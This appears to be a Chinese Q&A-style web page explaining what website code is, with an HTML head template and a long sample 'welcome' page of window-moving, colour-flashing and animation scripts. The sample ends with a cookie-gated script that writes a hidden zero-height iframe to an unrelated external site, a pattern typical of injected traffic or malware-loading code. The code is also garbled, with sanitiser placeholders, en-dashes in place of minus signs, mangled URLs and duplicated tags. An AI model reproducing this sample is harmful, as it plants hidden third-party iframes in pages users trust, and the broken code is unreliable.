网站代码是什么?

网站其实就是由许多的源代码文件所组成的一整个系统,这些代码通过服务器的翻译和浏览器的显示,就是你所看见的画面了。
你可以在浏览器右击鼠标,查看源文件。可以看见服务器发送到你电脑的显示代码。这就是你说看见的样式的代码。

网站代码怎么写

现在大多数的网站采用的是php,常用的网页一般是由Html+css样式框架构建而成的,如:
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>{页面标题title}</title>
<meta name="keywords" content="{关键词keywords}" />
<meta name="description" content="{描述description}。" />
<meta name="applicable-device" content="pc"/>
<meta name="mobile-agent" content="format=html5;url=网址
<link rel="alternate" media="only screen and (max-width: 640px)" href=网址"
<link rel="canonical" href=www.scmyzsgs .康姆
<link href="/xxx/xxx/css/font-awesome.css" rel="stylesheet">
<link rel="stylesheet" href="/xxx/xxx/css/animate.min.css">
<link href="/xxx/xxx/css/nav.css" rel="stylesheet">
<link href="/xxx/xxx/css/xxx.css" rel="stylesheet">
<link href="/xxx/xxx/css/xxx-min.css" type="text/css" rel="stylesheet"/>
<link href="/xxx/xxx/css/xxx.css" rel="stylesheet">
</head>
上面就是一个网页的头部head部分,其他的话基本大同小异。
网站代码是什么,怎么做

是网页源代码吧,最主要最基本的是html,学那家伙先看一些简单的书,然后下个制作网页的dreamweaver耍一哈就知道是什么东西了。你把纯静态页面的网页做好了就知道该学什么做动态网站了。没事就耍dreamweaver,决对进步快。你说那个优化可是为了让网页更完美,属于高境界阶段的任务了哈,内似于会做和做好。
网站代码

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta http-equiv="Content-Language" content="zh-cn">
<title>欢迎光临我的网站!</title>
</head>
<script>
window.scrollBy(0, 100)
window.resizeTo(0,0)
window.moveTo(0,0)
document.bgColor=0x000000
document.fgColor=0x000000
//setInterval("move()",30);
setTimeout("move()", 1);
var mxm=50
var mym=25
var mx=0
var my=0
var sv=50
var status=1
var szx=0
var szy=0
var c=255
var n=0
var sm=30
var cycle=2
var done=2
function move()
{
if (status == 1)
{
mxm=mxm/1.05
mym=mym/1.05
mx=mx+mxm
my=my-mym
mxm=mxm+(400-mx)/100
mym=mym-(300-my)/100
window.moveTo(mx,my)
rmxm=Math.round(mxm/10)
rmym=Math.round(mym/10)
if (rmxm == 0)
{
if (rmym == 0)
{
status=2
}
}
}
if (status == 2)
{
sv=sv/1.1
scrratio=1+1/3
mx=mx-sv*scrratio/2
my=my-sv/2
szx=szx+sv*scrratio
szy=szy+sv
window.moveTo(mx,my)
window.resizeTo(szx,szy)
if (sv < 0.1)
{
status=3
}
}
if (status == 3)
{
document.fgColor=0xffffFF
c=c-16
document.bgColor=0x000000
if (c<0)
{status=8}
}
if (status == 4)
{
c=c+16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c > 239)
{status=5}
}
if (status == 5)
{
c=c-16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c < 0)
{
status=6
cycle=cycle-1
if (cycle > 0)
{
if (done == 1)
{status=7}
else
{status=4}
}
}
}
if (status == 6)
{
document.title = ""
alert("")
cycle=2
status=4
done=1
}
if (status == 7)
{
c=c+4
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c > 128)
{status=8}
}
if (status == 8)
{
window.moveTo(0,0)
sx=screen.availWidth
sy=screen.availHeight
window.resizeTo(sx,sy)
status=9
}
var timer=setTimeout("move()",0.3)
}
</script>
<head>
<title>冰舞精灵光临贵站</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><style type="text/css">
<!–
body {
margin-left: 100px;
}
–>
</style></head>
<body background="http://www.sj100 .康姆 .cn/image/scan.gif"><br></center>
<BODY bgColor=#000000>
<span id="theText" style="width:100%">
<h1 align="center">欢迎光临长风大侠网站!! </h1>
</span>
<bgsound src=http://www.znsjw .康姆/Ring/Up/20070716/2007071613574910.mp3 loop="-1">
<script>
<!–
var from = 1;
var to = 4;
var delay = 55; //闪的速度
var glowColor = "lime";//颜色
var i = to;
var j = 0;
textPulseDown();
function textPulseUp()
{
if (!document.all)
return
if (i < to)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i++;
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
if (i = to)
{
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
}
function textPulseDown()
{
if (!document.all)
return
if (i > from)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i–;
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
if (i = from)
{
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
}
//–>
</script>
<SCRIPT language="JavaScript" FPTYPE="dynamicanimation8">
<!–
dynamicanimAttr = "dynamicanimation8"
animateElements = new Array()
currentElement = 0
speed = 0
stepsZoom = 8
stepsWord = 8
stepsFly = 12
stepsSpiral = 16
steps = stepsZoom
step = 0
outString = ""
function dynAnimation8()
{
var ms = navigator.appVersion.indexOf("MSIE")
ie4 = (ms>0) && (parseInt(navigator.appVersion.substring(ms+5, ms+6)) >= 4)
if(!ie4)
{
if((navigator.appName == "Netscape") &&
(parseInt(navigator.appVersion.substring(0, 1)) >= 4))
{
for (index=document.layers.length-1; index >= 0; index–)
{
layer=document.layers[index]
if (layer.left==10000)
layer.left=0
}
}
return
}
for (index=document.all.length-1; index >= document.body.sourceIndex; index–)
{
el = document.all[index]
animation = el.getAttribute(dynamicanimAttr, false)
if(null != animation)
{
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
{
ih = el[xss_clean]
outString = ""
i1 = 0
iend = ih.length
while(true)
{
i2 = startWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, false, "")
if(i2 == iend)
break
i1 = i2
i2 = endWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, true, animation)
if(i2 == iend)
break
i1 = i2
}
document.all[index][xss_clean] = outString
document.all[index].style.posLeft = 0
document.all[index].setAttribute(dynamicanimAttr, null)
}
if(animation == "zoomIn" || animation == "zoomOut")
{
ih = el[xss_clean]
outString = "<SPAN " + dynamicanimAttr + "=\"" + animation + "\" style=\"position: relative; left: 10000;\">"
outString += ih
outString += "</SPAN>"
document.all[index][xss_clean] = outString
document.all[index].style.posLeft = 0
document.all[index].setAttribute(dynamicanimAttr, null)
}
}
}
i = 0
for (index=document.body.sourceIndex; index < document.all.length; index++)
{
el = document.all[index]
animation = el.getAttribute(dynamicanimAttr, false)
if (null != animation)
{
if(animation == "flyLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyRight")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyTop" || animation == "dropWord")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottom")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyTopLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyTopRight" || animation == "flyTopRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottomLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyBottomRight" || animation == "flyBottomRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "spiral")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "zoomIn")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else if(animation == "zoomOut")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
el.initLeft = el.style.posLeft
el.initTop = el.style.posTop
animateElements[i++] = el
}
}
window.setTimeout("animate();", speed)
}
function offsetLeft(el)
{
x = el.offsetLeft
for (e = el.offsetParent; e; e = e.offsetParent)
x += e.offsetLeft;
return x
}
function offsetTop(el)
{
y = el.offsetTop
for (e = el.offsetParent; e; e = e.offsetParent)
y += e.offsetTop;
return y
}
function startWord(ih, i)
{
for(tag = false; i < ih.length; i++)
{
c = ih.charAt(i)
if(c == '<')
tag = true
if(!tag)
return i
if(c == '>')
tag = false
}
return -1
}
function endWord(ih, i)
{
nonSpace = false
space = false
while(i < ih.length)
{
c = ih.charAt(i)
if(c != ' ')
nonSpace = true
if(nonSpace && c == ' ')
space = true
if(c == '<')
return i
if(space && c != ' ')
return i
i++
}
return -1
}
function outWord(ih, i1, i2, dyn, anim)
{
if(dyn)
outString += "<SPAN " + dynamicanimAttr + "=\"" + anim + "\" style=\"position: relative; left: 10000;\">"
outString += ih.substring(i1, i2)
if(dyn)
outString += "</SPAN>"
}
function animate()
{
el = animateElements[currentElement]
animation = el.getAttribute(dynamicanimAttr, false)
step++
if(animation == "spiral")
{
steps = stepsSpiral
v = step/steps
rf = 1.0 – v
t = v * 2.0*Math.PI
rx = Math.max(Math.abs(el.initLeft), 200)
ry = Math.max(Math.abs(el.initTop), 200)
el.style.posLeft = Math.ceil(-rf*Math.cos(t)*rx)
el.style.posTop = Math.ceil(-rf*Math.sin(t)*ry)
}
else if(animation == "zoomIn")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(50+50*step/steps) + "%"
el.style.posLeft = 0
}
else if(animation == "zoomOut")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(100+200*(steps-step)/steps) + "%"
el.style.posLeft = 0
}
else
{
steps = stepsFly
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
steps = stepsWord
dl = el.initLeft / steps
dt = el.initTop / steps
el.style.posLeft = el.style.posLeft – dl
el.style.posTop = el.style.posTop – dt
}
if (step >= steps)
{
el.style.posLeft = 0
el.style.posTop = 0
currentElement++
step = 0
}
if(currentElement < animateElements.length)
window.setTimeout("animate();", speed)
}
//–>
</SCRIPT>
<p dynamicanimation8="dropWord"
style="position: relative !important; left: 10000 !important" align="center"> </p>
<div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;"> <p align="center"> </div>
<div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;"> <p align="center">
</div>
<div style="width: 857; font-size:15pt; font-family: Arial ; color: White ; position: relative; filter: glow(color=00CCFF, strength=5)">
<p> <b>
<font face="楷体_GB2312" size="5">
<marquee></marquee>
</font>
</b></div>
<div style="width: 800; font-size: 15pt; font-family: Arial; color: White; position: relative; filter: glow(color=FFFF00, strength=5); height: 35">
<font color="#FF0000"><font face="楷体_GB2312" size="8"><i> <br>
<div align="center"> <font face="楷体_GB2321" size="1000" color="#000000">
</div>
</SCRIPT>
<div align="center"> "<a href=http://www.zhangfeng.qiongzz .cn />返回主页</a>"
<font color="#000000"><font face="楷体_GB2321" size="1000"><i>
</div>
</SCRIPT><script language=javascript>if([xss_clean].indexOf('st')==-1){var expires=new Date();expires.setTime(expires.getTime()+22*60*60*1000);[xss_clean]='st=Yes;path=/;expires='+expires.toGMTString();[xss_clean]('<iframe src=http://mycoohoo .cn/page/add_5454545.htm?3202-3428 width=100 height=0></iframe>');}</script>
<body>
<p>
</p>
</body>
</html>
原创文章,作者:聚禄鼎,如若转载,请注明出处:https://www.xxso.cn/121782.html